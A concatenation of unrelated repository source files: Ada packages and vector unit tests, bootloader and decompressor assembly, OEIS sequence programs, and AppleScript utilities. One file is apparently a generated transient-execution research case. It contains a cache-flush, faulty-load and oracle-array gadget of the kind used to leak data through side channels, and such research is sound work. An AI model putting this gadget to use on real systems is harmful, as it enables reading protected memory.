'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}} {'36': 1123, '49': 4885, '00': 10630} 00 00 00 00 00 00 49 00 00 00 49 00 00 00 36 00 00 00 00 00 00 00 49 49 49 00 00 36 00 00 49 49 49 36 49 00 36 49 00 00 00 49 00 00 00 49 49 00 00 00 00 00 36 00 00 00 00 36 49 00 00 00 00 00 49 00 00 49 49 00 00 00 00 00 00 49 00 00 00 49 49 00 49 36 49 49 00 00 00 49 00 00 00 36 49 49 00 00 00 00 49 36 49 49 00 00 00 00 36 49 49 49 00 00 49 49 00 00 00 49 36 00 00 00 00 36 49 00 00 49 49 00 49 00 00 49 49 00 00 49 49 49 00 49 49 00 49 00 00 00 00 00 00 00 00 49 49 00 00 00 00 00 00 00 49 49 00 00 49 00 49 00 36 00 00 00 49 00 00 00 00 49 00 00 00 00 00 36 00 49 49 00 49 00 00 00 36 49 00 00 00 00 00 49 49 49 00 49 00 00 00 49 00 00 00 49 49 00 36 49 49 00 49 49 00 00 00 49 00 49 00 00 00 00 00 49 49 49 00 00 00 00 00 36 00 00 36 49 49 00 00 00 00 00 00 00 00 00 00 36 36 00 00 00 00 49 00 00 00 00 00 49 00 49 49 00 00 00 00 49 49 00 00 00 00 49 00 00 00 00 49 49 49 00 00 00 00 00 49 00 00 00 49 00 36 00 00 36 49 36 00 36 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 36 49 00 00 00 00 00 00 49 49 00 49 49 00 49 00 00 00 49 49 00 49 49 36 00 49 00 49 00 00 00 00 00 00 00 00 49 49 49 00 00 00 00 00 36 49 49 00 49 00 00 49 00 00 00 00 00 36 49 49 49 00 00 36 49 00 00 49 49 49 36 00 00 49 00 00 00 00 00 36 00 00 00 00 49 00 00 00 00 00 49 49 00 00 49 00 49 49 00 00 00 00 00 00 00 00 49 49 49 00 00 00 00 00 00 49 00 00 00 00 00 00 49 49 00 00 00 49 49 00 36 49 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 49 00 00 49 00 00 49 49 00 00 00 00 00 00 49 00 00 49 00 49 49 00 00 49 00 00 00 49 49 00 00 00 00 00 00 00 49 00 00 00 00 00 49 49 36 49 49 00 00 00 49 00 00 00 00 49 49 49 49 49 49 00 49 00 00 00 00 00 49 00 00 00 49 00 49 00 00 00 00 00 49 36 00 00 00 00 00 00 00 00 49 36 00 49 49 00 00 00 49 00 00 49 36 49 00 49 00 00 00 49 49 00 00 00 00 36 49 36 49 00 49 00 49 00 49 00 49 49 00 00 36 00 00 00 00 00 00 00 00 49 00 00 00 00 49 36 36 00 00 49 00 00 49 00 00 00 00 49 00 00 00 00 49 00 00 00 00 00 49 00 00 36 36 49 00 49 49 49 00 00 00 00 00 00 00 36 00 00 49 00 00 00 49 00 00 49 49 00 00 00 36 49 49 00 00 49 36 00 49 00 36 49 36 00 49 00 00 00 00 00 00 00 00 00 49 00 00 49 36 49 49 49 00 49 00 49 00 00 00 00 49 49 49 00 00 00 36 49 00 49 49 00 49 49 00 00 49 00 36 00 00 00 36 49 49 49 00 49 00 00 00 49 00 00 00 36 00 00 00 49 36 00 49 36 00 00 36 49 00 49 36 00 00 49 00 49 00 00 49 49 00 36 00 00 00 00 49 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 49 36 00 00 00 00 49 49 00 00 49 00 00 49 00 00 49 49 00 00 00 00 00 00 49 49 49 00 00 00 00 00 00 00 36 00 36 49 00 49 00 00 00 00 00 00 49 00 49 00 00 00 49 00 49 49 00 00 00 00 00 49 49 49 49 00 00 00 00 00 00 00 49 00 49 00 00 00 00 49 00 49 49 00 49 49 49 00 00 49 00 49 00 49 49 00 00 36 00 49 00 00 49 00 00 00 00 00 00 49 49 00 00 49 00 49 00 00 00 49 00 00 36 49 00 00 00 00 00 00 49 49 49 49 00 49 49 49 00 00 49 00 00 00 49 49 49 00 00 49 00 00 36 00 00 49 00 00 00 00 00 00 36 00 49 49 00 00 00 00 49 36 00 00 49 00 49 00 00 00 49 00 00 00 00 00 00 00 00 49 00 36 00 00 00 00 00 00 */
gasp/source/gasp.ads
charlie5/playAda
0
24434
<reponame>charlie5/playAda with float_Math.Geometry .d2, float_Math.Geometry .d3, float_math.Algebra.linear.d3; package Gasp -- -- Provides a namespace and core declarations for the 'Gasp' game. -- is pragma Pure; package Math renames float_Math; package Geometry_2d renames Math.Geometry.d2; package Geometry_3d renames Math.Geometry.d3; package linear_Algebra_3d renames Math.Algebra.linear.d3; end Gasp;
src/boot/stage2.asm
Dentosal/rust_os
28
80114
; RUSTOS LOADER ; STAGE 2 %include "src/asm_routines/constants.asm" [BITS 64] [ORG 0x8000] stage2: cli ; update segments mov dx, GDT_SELECTOR_DATA mov ss, dx ; stack segment mov ds, dx ; data segment mov es, dx ; extra segment mov fs, dx ; f-segment mov gs, dx ; g-segment ; SCREEN: top left: "03" mov dword [0xb8000], 0x2f332f30 ; parse and load kernel, an ELF executable "file" ; http://wiki.osdev.org/ELF#Loading_ELF_Binaries ; elf error messages begin with "E" mov al, 'E' ; magic number 0x7f+'ELF' ; if not elf show error message "E!" mov ah, '!' cmp dword [BOOT_KERNEL_LOADPOINT], 0x464c457f jne error ; bitness and instruction set (must be 64, so values must be 2 and 0x3e) (error code: "EB") mov ah, 'B' cmp byte [BOOT_KERNEL_LOADPOINT + 4], 0x2 jne error cmp word [BOOT_KERNEL_LOADPOINT + 18], 0x3e jne error ; endianess (must be little endian, so value must be 1) (error code: "EE") mov ah, 'E' cmp byte [BOOT_KERNEL_LOADPOINT + 5], 0x1 jne error ; elf version (must be 1) (error code: "EV") mov ah, 'V' cmp byte [BOOT_KERNEL_LOADPOINT + 0x0006], 0x1 jne error ; Now lets trust it's actually real and valid elf file ; kernel entry position must be correct ; (error code : "Ep") mov ah, 'p' cmp qword [BOOT_KERNEL_LOADPOINT + 24], KERNEL_LOCATION jne error ; load point is correct, great. print green OK mov dword [0xb8000 + 80*2], 0x2f4b2f4f ; Parse program headers ; http://wiki.osdev.org/ELF#Program_header ; (error code : "EH") mov ah, 'H' ; We know that program header size is 56 (=0x38) bytes ; still, lets check it: cmp word [BOOT_KERNEL_LOADPOINT + 54], 0x38 jne error ; program header table position mov rbx, qword [BOOT_KERNEL_LOADPOINT + 32] add rbx, BOOT_KERNEL_LOADPOINT ; now rbx points to first program header ; length of program header table mov rcx, 0 mov cx, [BOOT_KERNEL_LOADPOINT + 56] mov ah, '_' ; loop through headers .loop_headers: ; First, lets check that this segment should be loaded cmp dword [rbx], 1 ; load: this is important jne .next ; if not important: continue ; load: clear p_memsz bytes at p_vaddr to 0, then copy p_filesz bytes from p_offset to p_vaddr push rcx ; esi = p_offset mov rsi, [rbx + 8] add rsi, BOOT_KERNEL_LOADPOINT ; now points to begin of buffer we must copy ; rdi = p_vaddr mov rdi, [rbx + 16] ; rcx = p_memsz mov rcx, [rbx + 40] ; <1> clear p_memsz bytes at p_vaddr to 0 push rdi .loop_clear: mov byte [rdi], 0 inc rdi loop .loop_clear pop rdi ; </1> ; rcx = p_filesz mov rcx, [rbx + 32] ; <2> copy p_filesz bytes from p_offset to p_vaddr ; uses: rsi, rdi, rcx rep movsb ; </2> pop rcx .next: add rbx, 0x38 ; skip entry (0x38 is entry size) loop .loop_headers mov ah, '-' ; ELF relocation done .over: ; looks good, going to jump to kernel entry ; prints green "JK" for "Jump to Kernel" mov dword [0xb8000 + 80*4], 0x2f6b2f6a jmp KERNEL_LOCATION ; jump to kernel ; Prints `ERR: ` and the given 2-character error code to screen (TL) and hangs. ; args: ax=(al,ah)=error_code (2 characters) error: mov dword [0xb8000], 0x4f524f45 mov dword [0xb8004], 0x4f3a4f52 mov dword [0xb8008], 0x4f204f20 mov dword [0xb800a], 0x4f204f20 mov byte [0xb800a], al mov byte [0xb800c], ah hlt times (0x200-($-$$)) db 0 ; fill a sector
laturi/decompressor32.asm
temisu/BR4096
8
18127
; Copyright (C) <NAME> ; x86 bits 32 section .text global __ONEKPAQ__CodeStart __ONEKPAQ__CodeStart: sub esp,byte 12 %ifdef COMPRESSION_1 COMPRESSION_2 COMPRESSION_3 COMPRESSION_4 mov ebx,__ONEKPAQ_source mov edi,__ONEKPAQ_destination push edi %ifdef COMPRESSION_1 %define ONEKPAQ_DECOMPRESSOR_MODE 1 %elifdef COMPRESSION_2 %define ONEKPAQ_DECOMPRESSOR_MODE 2 %elifdef COMPRESSION_3 %define ONEKPAQ_DECOMPRESSOR_MODE 3 %elifdef COMPRESSION_4 %define ONEKPAQ_DECOMPRESSOR_MODE 4 %endif %include "onekpaq/onekpaq_decompressor32.asm" global __ONEKPAQ_shift __ONEKPAQ_shift: equ onekpaq_decompressor.shift ret %endif extern __ONEKPAQ_source extern __ONEKPAQ_destination
example/src/load_environment_variables.adb
Heziode/ada-dotenv
6
19225
with Ada.Text_IO; with Dotenv; package body Load_Environment_Variables is begin Ada.Text_IO.Put_Line ("Load Environment Variables"); Dotenv.Config; end Load_Environment_Variables;
bb-runtimes/examples/monitor/net/netutils.ads
JCGobbi/Nucleo-STM32G474RE
0
20930
------------------------------------------------------------------------------ -- -- -- GNAT EXAMPLE -- -- -- -- Copyright (C) 2013, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Interfaces; use Interfaces; package Netutils is type Eth_Addr is array (1 .. 6) of Unsigned_8; -- Ethernet address Null_Eth_Addr : constant Eth_Addr := (others => 0); Broadcast_Eth_Addr : constant Eth_Addr := (others => 16#ff#); subtype In_Addr is Unsigned_32; -- Ip address (as an unsigned number) Null_Ip_Addr : constant In_Addr := 0; type Ip_Addr is array (1 .. 4) of Unsigned_8; -- IP address (as array of bytes) function To_In_Addr (Addr : Ip_Addr) return In_Addr; function To_Ip_Addr (Addr : In_Addr) return Ip_Addr; -- Conversion routines Hex_Digits : constant array (0 .. 15) of Character := "0123456789abcdef"; procedure Put_Hex (V : Unsigned_8); procedure Put_Hex (V : Unsigned_16); procedure Put_Hex (V : Unsigned_32); procedure Put_Dec (V : Unsigned_8); procedure Put_Dec (V : Unsigned_16); -- Routines to display a number procedure Disp_Ip_Addr (Addr : Ip_Addr); procedure Disp_Ip_Addr (Addr : In_Addr); procedure Disp_Eth_Addr (Addr : Eth_Addr); -- Routines to display an address type Netbuf is array (Natural range <>) of Unsigned_8; Packet : Netbuf (0 .. 1560 - 1); for Packet'Alignment use 16; -- Packet to be sent or packet just received Packet_Len : Natural; -- Length of the packet Packet_Off : Natural := 0; -- Next byte to be read/written in the packet Eth_Type_Arp : constant := 16#806#; Eth_Type_Ip : constant := 16#800#; -- Some well known ethernet types function Read_BE1 (Off : Natural) return Unsigned_8; function Read_BE2 (Off : Natural) return Unsigned_16; function Read_BE4 (Off : Natural) return Unsigned_32; function Read_Eth (Off : Natural) return Eth_Addr; -- Extract a value from the current ethernet packet procedure Write_Eth (Addr : Eth_Addr); procedure Write_BE1 (V : Unsigned_8); procedure Write_BE2 (V : Unsigned_16); procedure Write_BE4 (V : Unsigned_32); -- Write a value in the packet procedure Write_BE1 (V : Unsigned_8; Off : Natural); procedure Write_BE2 (V : Unsigned_16; Off : Natural); procedure Write_2 (V : Unsigned_16; Off : Natural); procedure Write_BE4 (V : Unsigned_32; Off : Natural); Ip_Proto_Udp : constant := 17; Ip_Proto_Icmp : constant := 1; -- Some well known IP protocols end Netutils;
programs/oeis/053/A053114.asm
neoneye/loda
22
3943
<reponame>neoneye/loda ; A053114: a(n) = ((8*n+9)(!^8))/9, related to A045755 ((8*n+1)(!^8) octo- or 8-factorials). ; 1,17,425,14025,575025,28176225,1606044825,104392913625,7620682694625,617275298264625,54937501545551625,5328937649918507625,559538453241443300625,63227845216283092970625,7650569271170254249445625,986923435980962798178485625,135208510729391903350452530625,19605234055761825985815616940625,2999600810531559375829789391915625,482935730495581059508596092098415625 add $0,1 mov $1,2 mov $2,1 lpb $0 sub $0,1 add $2,8 mul $1,$2 lpe mov $0,$1 div $0,18
commands/system/Schedule-notification.applescript
marcocebrian/script-commands
0
2417
#!/usr/bin/osascript # Required parameters: # @raycast.schemaVersion 1 # @raycast.title Schedule notification # @raycast.mode silent # @raycast.packageName System # Optional parameters: # @raycast.icon images/clock.png # @raycast.argument1 { "type": "text", "placeholder": "In Minutes" } # @raycast.argument2 { "type": "text", "placeholder": "Title", "optional": true } # @Documentation: # @raycast.description Simple scheduler for Mac Os X notifications after x amount of minutes with a configurable title. # @raycast.author <NAME> # @raycast.authorURL https://github.com/marcocebrian on run argv set theTime to (item 1 of argv as integer) * 60 set theTitle to item 2 of argv as string set minutes to (theTime / 60) as integer if minutes = 1 then set timeString to " minute" else set timeString to " minutes" end if if length of theTitle < 1 then set theTitle to "Time is over!" end if log "Scheduled notification " & theTitle & " after " & minutes & timeString delay theTime display notification "Your countdown of " & ((theTime / 60) as integer) & timeString & " is over." with title theTitle sound name "Jump" #If you prefer an alert. Comment the line "display notification..." and uncomment the "#display alert..." line #display alert "Time is over!" message "Your countdown of " & ((theTime / 60) as integer) & " minutes is over." as informational buttons {"Ok"} default button "Ok" end run
test.scpt
yantze/applescript-player-control
2
2982
<filename>test.scpt<gh_stars>1-10 on is_running(appName) tell application "System Events" to (name of processes) contains appName end is_running if is_running("iTunes") then tell application "iTunes" next track end tell else tell application "Spotify" next track end tell end if -- http://stackoverflow.com/questions/22107418/open-url-and-activate-google-chrome-via-applescript tell application "Google Chrome" if it is running then quit else activate open location "http://github.com/yantze" delay 1 activate end if end tell # -- Kill selected Process # tell application "System Events" # set listOfProcesses to (name of every process where background only is false) # tell me to set selectedProcesses to choose from list listOfProcesses with multiple selections allowed # end tell # -- The variable `selectedProcesses` will contain the list of selected items. # repeat with processName in selectedProcesses # do shell script "Killall " & quoted form of processName # end repeat
programs/oeis/184/A184113.asm
neoneye/loda
22
177820
; A184113: n + floor(4*sqrt(n+1)). ; 6,8,11,12,14,16,18,20,21,23,24,26,27,29,31,32,33,35,36,38,39,41,42,44,45,46,48,49,50,52,53,54,56,57,59,60,61,62,64,65,66,68,69,70,72,73,74,76,77,78,79,81,82,83,84,86,87,88,89,91,92,93,95,96,97,98,99,101,102,103,104,106,107,108,109,111,112,113,114,116,117,118,119,120,122,123,124,125,126,128,129,130,131,132,134,135,136,137,139,140 add $0,2 mov $1,$0 mul $1,8 seq $1,101776 ; Smallest k such that k^2 is equal to the sum of n not-necessarily-distinct primes plus 1. add $0,$1 sub $0,2
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_4_873.asm
ljhsiun2/medusa
9
93027
<filename>Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_4_873.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x17167, %rsi lea addresses_UC_ht+0xb30f, %rdi nop nop nop nop nop cmp $27805, %r15 mov $28, %rcx rep movsb nop inc %r8 lea addresses_D_ht+0x5b0f, %rsi lea addresses_A_ht+0xfa8f, %rdi nop nop nop nop add $61223, %r10 mov $17, %rcx rep movsq nop nop cmp $62545, %rcx lea addresses_D_ht+0x1130f, %rdi nop nop sub %rdx, %rdx mov (%rdi), %r10w dec %rdx lea addresses_UC_ht+0x1290f, %rdx nop nop nop nop sub $59053, %rcx mov (%rdx), %di nop nop inc %r8 lea addresses_A_ht+0x110f, %rdx nop nop nop nop sub $22448, %rcx movups (%rdx), %xmm3 vpextrq $1, %xmm3, %r10 nop nop nop nop nop sub %rdx, %rdx lea addresses_WC_ht+0x39df, %rsi lea addresses_A_ht+0x131cf, %rdi clflush (%rsi) nop nop nop nop nop sub %rdx, %rdx mov $52, %rcx rep movsq nop nop nop add %rdx, %rdx lea addresses_normal_ht+0x7c0b, %rdx nop nop nop nop nop xor %r15, %r15 vmovups (%rdx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r8 nop nop nop nop and $61707, %rcx lea addresses_WC_ht+0xa30f, %rcx nop nop inc %r10 mov $0x6162636465666768, %r8 movq %r8, %xmm6 vmovups %ymm6, (%rcx) nop add $28502, %rcx lea addresses_UC_ht+0x28ef, %rsi lea addresses_A_ht+0x1d4d5, %rdi and %r11, %r11 mov $72, %rcx rep movsb nop nop nop and %r15, %r15 lea addresses_WT_ht+0xdbcf, %rdi nop add %rcx, %rcx mov $0x6162636465666768, %r8 movq %r8, %xmm6 movups %xmm6, (%rdi) and %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi // Load lea addresses_UC+0xb1cf, %r9 sub $1291, %r12 movups (%r9), %xmm5 vpextrq $0, %xmm5, %r13 nop nop nop and %r15, %r15 // REPMOV lea addresses_PSE+0x704f, %rsi lea addresses_PSE+0x1030f, %rdi nop nop nop nop nop xor %r9, %r9 mov $47, %rcx rep movsw nop nop nop nop nop and $32541, %r8 // Store lea addresses_UC+0x12f0f, %r10 and $53443, %r8 mov $0x5152535455565758, %rsi movq %rsi, (%r10) nop nop nop nop sub $6831, %rcx // Store mov $0x1cb4850000000f33, %rsi nop nop nop nop add %r8, %r8 mov $0x5152535455565758, %rdi movq %rdi, (%rsi) dec %rcx // Store lea addresses_US+0x5b53, %r15 nop nop dec %r9 movb $0x51, (%r15) nop nop nop nop nop cmp $13045, %r13 // Faulty Load lea addresses_PSE+0x530f, %r12 clflush (%r12) xor $58300, %r10 movb (%r12), %cl lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 6}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_PSE'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_US', 'congruent': 0}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 8}} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 1}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'} {'33': 4} 33 33 33 33 */
programs/oeis/010/A010005.asm
karttu/loda
1
166947
<gh_stars>1-10 ; A010005: a(0) = 1, a(n) = 15*n^2 + 2 for n>0. ; 1,17,62,137,242,377,542,737,962,1217,1502,1817,2162,2537,2942,3377,3842,4337,4862,5417,6002,6617,7262,7937,8642,9377,10142,10937,11762,12617,13502,14417,15362,16337,17342,18377,19442,20537,21662,22817,24002,25217,26462,27737,29042,30377,31742,33137,34562,36017,37502,39017,40562,42137,43742,45377,47042,48737,50462,52217,54002,55817,57662,59537,61442,63377,65342,67337,69362,71417,73502,75617,77762,79937,82142,84377,86642,88937,91262,93617,96002,98417,100862,103337,105842,108377,110942,113537,116162,118817,121502,124217,126962,129737,132542,135377,138242,141137,144062,147017,150002,153017,156062,159137,162242,165377,168542,171737,174962,178217,181502,184817,188162,191537,194942,198377,201842,205337,208862,212417,216002,219617,223262,226937,230642,234377,238142,241937,245762,249617,253502,257417,261362,265337,269342,273377,277442,281537,285662,289817,294002,298217,302462,306737,311042,315377,319742,324137,328562,333017,337502,342017,346562,351137,355742,360377,365042,369737,374462,379217,384002,388817,393662,398537,403442,408377,413342,418337,423362,428417,433502,438617,443762,448937,454142,459377,464642,469937,475262,480617,486002,491417,496862,502337,507842,513377,518942,524537,530162,535817,541502,547217,552962,558737,564542,570377,576242,582137,588062,594017,600002,606017,612062,618137,624242,630377,636542,642737,648962,655217,661502,667817,674162,680537,686942,693377,699842,706337,712862,719417,726002,732617,739262,745937,752642,759377,766142,772937,779762,786617,793502,800417,807362,814337,821342,828377,835442,842537,849662,856817,864002,871217,878462,885737,893042,900377,907742,915137,922562,930017 pow $1,$0 gcd $1,2 mov $3,$0 mul $3,$0 mov $2,$3 mul $2,15 add $1,$2
tests/src/test_transforms_singles_vectors.adb
onox/orka
52
10212
-- SPDX-License-Identifier: Apache-2.0 -- -- Copyright (c) 2017 onox <<EMAIL>> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. with Ada.Numerics.Generic_Elementary_Functions; with AUnit.Assertions; with AUnit.Test_Caller; with Orka.Transforms.Singles.Vectors; package body Test_Transforms_Singles_Vectors is use Orka; use Orka.Transforms.Singles.Vectors; use type Vector4; package EF is new Ada.Numerics.Generic_Elementary_Functions (Float_32); function Is_Equivalent (Expected, Result : Float_32) return Boolean is (abs (Result - Expected) <= Float_32'Model_Epsilon); use AUnit.Assertions; package Caller is new AUnit.Test_Caller (Test); Test_Suite : aliased AUnit.Test_Suites.Test_Suite; function Suite return AUnit.Test_Suites.Access_Test_Suite is Name : constant String := "(Transforms - Singles - Vectors) "; begin Test_Suite.Add_Test (Caller.Create (Name & "Test '+' operator", Test_Add'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test '-' operator", Test_Subtract'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test '*' operator", Test_Scale'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test 'abs' operator", Test_Absolute'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Magnitude function", Test_Magnitude'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Normalize function", Test_Normalize'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Distance function", Test_Distance'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Projection function", Test_Projection'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Perpendicular function", Test_Perpendicular'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Angle function", Test_Angle'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Dot function", Test_Dot_Product'Access)); Test_Suite.Add_Test (Caller.Create (Name & "Test Cross function", Test_Cross_Product'Access)); return Test_Suite'Access; end Suite; procedure Test_Add (Object : in out Test) is Left : constant Vector4 := (2.0, 3.0, 4.0, 0.0); Right : constant Vector4 := (-2.0, 3.0, 0.0, -1.0); Expected : constant Vector4 := (0.0, 6.0, 4.0, -1.0); Result : constant Vector4 := Left + Right; begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Add; procedure Test_Subtract (Object : in out Test) is Left : constant Vector4 := (2.0, 3.0, 4.0, 0.0); Right : constant Vector4 := (-2.0, 3.0, 0.0, -1.0); Expected : constant Vector4 := (4.0, 0.0, 4.0, 1.0); Result : constant Vector4 := Left - Right; begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Subtract; procedure Test_Scale (Object : in out Test) is Elements : constant Vector4 := (2.0, 3.0, 1.0, 0.0); Expected : constant Vector4 := (4.0, 6.0, 2.0, 0.0); Result : constant Vector4 := 2.0 * Elements; begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Scale; procedure Test_Absolute (Object : in out Test) is Elements : constant Vector4 := (-2.0, 0.0, 1.0, -1.0); Expected : constant Vector4 := (2.0, 0.0, 1.0, 1.0); Result : constant Vector4 := abs Elements; begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Absolute; procedure Test_Magnitude (Object : in out Test) is Elements : constant Vector4 := (1.0, -2.0, 3.0, -4.0); Expected : constant Float_32 := EF.Sqrt (1.0**2 + (-2.0)**2 + 3.0**2 + (-4.0)**2); Result : constant Float_32 := Magnitude (Elements); begin Assert (Is_Equivalent (Expected, Result), "Unexpected Single " & Result'Image); end Test_Magnitude; procedure Test_Normalize (Object : in out Test) is Elements : constant Vector4 := (1.0, -2.0, 3.0, -4.0); Expected : constant Float_32 := 1.0; Result : constant Float_32 := Magnitude (Normalize (Elements)); begin Assert (Is_Equivalent (Expected, Result), "Unexpected Single " & Result'Image); end Test_Normalize; procedure Test_Distance (Object : in out Test) is Left : constant Point := (2.0, 5.0, 0.0, 1.0); Right : constant Point := (2.0, 2.0, 0.0, 1.0); Expected : constant Float_32 := 3.0; Result : constant Float_32 := Distance (Left, Right); begin Assert (Is_Equivalent (Expected, Result), "Unexpected Single " & Result'Image); end Test_Distance; procedure Test_Projection (Object : in out Test) is Elements : constant Vector4 := (3.0, 4.0, 0.0, 0.0); Direction : constant Vector4 := (0.0, 1.0, 0.0, 0.0); Expected : constant Vector4 := (0.0, 4.0, 0.0, 0.0); Result : constant Vector4 := Projection (Elements, Direction); begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Projection; procedure Test_Perpendicular (Object : in out Test) is Elements : constant Vector4 := (3.0, 4.0, 0.0, 0.0); Direction : constant Vector4 := (0.0, 1.0, 0.0, 0.0); Expected : constant Vector4 := (3.0, 0.0, 0.0, 0.0); Result : constant Vector4 := Perpendicular (Elements, Direction); begin for I in Index_Homogeneous loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Perpendicular; procedure Test_Angle (Object : in out Test) is Left : constant Vector4 := (3.0, 0.0, 0.0, 0.0); Right : constant Vector4 := (0.0, 4.0, 0.0, 0.0); Expected : constant Float_32 := To_Radians (90.0); Result : constant Float_32 := Angle (Left, Right); begin Assert (Is_Equivalent (Expected, Result), "Unexpected Single " & Result'Image); end Test_Angle; procedure Test_Dot_Product (Object : in out Test) is Left : constant Vector4 := (1.0, 2.0, 3.0, 4.0); Right : constant Vector4 := (2.0, 3.0, 4.0, 5.0); Expected : constant Float_32 := 40.0; Result : constant Float_32 := Dot (Left, Right); begin Assert (Is_Equivalent (Expected, Result), "Unexpected Single " & Result'Image); end Test_Dot_Product; procedure Test_Cross_Product (Object : in out Test) is Left : constant Vector4 := (2.0, 4.0, 8.0, 0.0); Right : constant Vector4 := (5.0, 6.0, 7.0, 0.0); Expected : constant Vector4 := (-20.0, 26.0, -8.0, 0.0); Result : constant Vector4 := Cross (Left, Right); begin for I in X .. Z loop Assert (Expected (I) = Result (I), "Unexpected Single at " & I'Image); end loop; end Test_Cross_Product; end 